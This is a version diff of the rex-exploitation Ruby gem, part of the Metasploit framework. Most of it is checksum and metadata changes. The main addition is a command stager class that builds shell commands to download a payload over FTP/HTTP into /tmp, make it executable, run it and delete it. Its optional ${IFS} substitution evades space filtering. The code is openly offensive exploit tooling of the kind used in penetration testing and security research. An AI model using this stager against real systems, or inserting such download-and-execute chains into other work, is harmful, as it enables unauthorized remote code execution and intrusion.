rex-exploitation 0.1.31 → 0.1.34

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 4cfc7e897b1f86f34cca1faca892489b396c010b3c7135c0954c0d6c720a8bea
-  data.tar.gz: '0289f22adbe9e4d83b786b8518653977e57b35e6456dedd1a546ca5d8e5289bb'
+  metadata.gz: ea68584aaa9d9bac85899b3c9b9143c997fc21c071ca59bf4e2a3ce661c8b573
+  data.tar.gz: b4a0b49fc0a954a3593274a2de9662808cd0e0edcf68791ba84932e53b020ee4
 SHA512:
-  metadata.gz: db9a31253749214b20d5a8a7bd58d16f72e540c3eb6a6291933220e7d5aad5286cc20bd4ffb6a15cf096ff6dbca49e74c492334d22a7fbaa798ba48e6eead925
-  data.tar.gz: be2a2215875f6ab4b5cf0f1752ac1a5fb11e2d20851e231bdb3bbc2775df84289912a3f95ae36480a2e7ec21db8c5bbaae311921c0b7a6612fef60dc7cd0000e
+  metadata.gz: 7ac29c3b1167094d6a9103687447f00b65f6032e9d3fb7e7b3da7ff25134a87ca9532ae354bfd247f88180cb3c08deebe399cc37331c65643ca5a77b330df9e1
+  data.tar.gz: f38988a9ecd4b17afc30ac51d8f51ea4d490bebc42c5a3a5ab14b76c6a44eee43012bc9434cbbb88f3df44d878c2d80017e5c15d799be5a3b3e5b112e9fc31fd

data/lib/rex/exploitation/cmdstager/ftp_http.rb

@@ -0,0 +1,49 @@
+# -*- coding: binary -*-
+
+class Rex::Exploitation::CmdStagerFtpHttp < Rex::Exploitation::CmdStagerBase
+
+  def http?
+    true
+  end
+
+  def user_agent
+    /ftp/i
+  end
+
+  def generate(opts = {})
+    if opts[:payload_uri].nil?
+      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
+    end
+
+    opts[:temp] ||= '/tmp'
+    opts[:file] ||= Rex::Text.rand_text_alpha(8)
+    @payload_path = "#{opts[:temp]}/#{opts[:file]}"
+
+    super
+  end
+
+  def generate_cmds_payload(opts)
+    # -o: output file name (argument must be before URL)
+    ["ftp -o #{@payload_path} #{opts[:payload_uri]}"]
+  end
+
+  def generate_cmds_decoder(opts)
+    cmds = []
+
+    cmds << "chmod +x #{@payload_path}"
+    cmds << @payload_path
+    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]
+
+    cmds
+  end
+
+  def compress_commands(cmds, opts)
+    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
+    super
+  end
+
+  def cmd_concat_operator
+    ';'
+  end
+
+end

data/lib/rex/exploitation/cmdstager.rb

@@ -14,3 +14,4 @@ require 'rex/exploitation/cmdstager/curl'
 require 'rex/exploitation/cmdstager/fetch'
 require 'rex/exploitation/cmdstager/lwprequest'
 require 'rex/exploitation/cmdstager/psh_invokewebrequest'
+require 'rex/exploitation/cmdstager/ftp_http'

data/lib/rex/exploitation/version.rb

@@ -1,5 +1,5 @@
 module Rex
   module Exploitation
-    VERSION = "0.1.31"
+    VERSION = "0.1.34"
   end
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: rex-exploitation
 version: !ruby/object:Gem::Version
-  version: 0.1.31
+  version: 0.1.34
 platform: ruby
 authors:
 - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
   EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
   9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
   -----END CERTIFICATE-----
-date: 2022-07-01 00:00:00.000000000 Z
+date: 2022-07-18 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: rake
@@ -263,6 +263,7 @@ files:
 - lib/rex/exploitation/cmdstager/debug_write.rb
 - lib/rex/exploitation/cmdstager/echo.rb
 - lib/rex/exploitation/cmdstager/fetch.rb
+- lib/rex/exploitation/cmdstager/ftp_http.rb
 - lib/rex/exploitation/cmdstager/lwprequest.rb
 - lib/rex/exploitation/cmdstager/printf.rb
 - lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb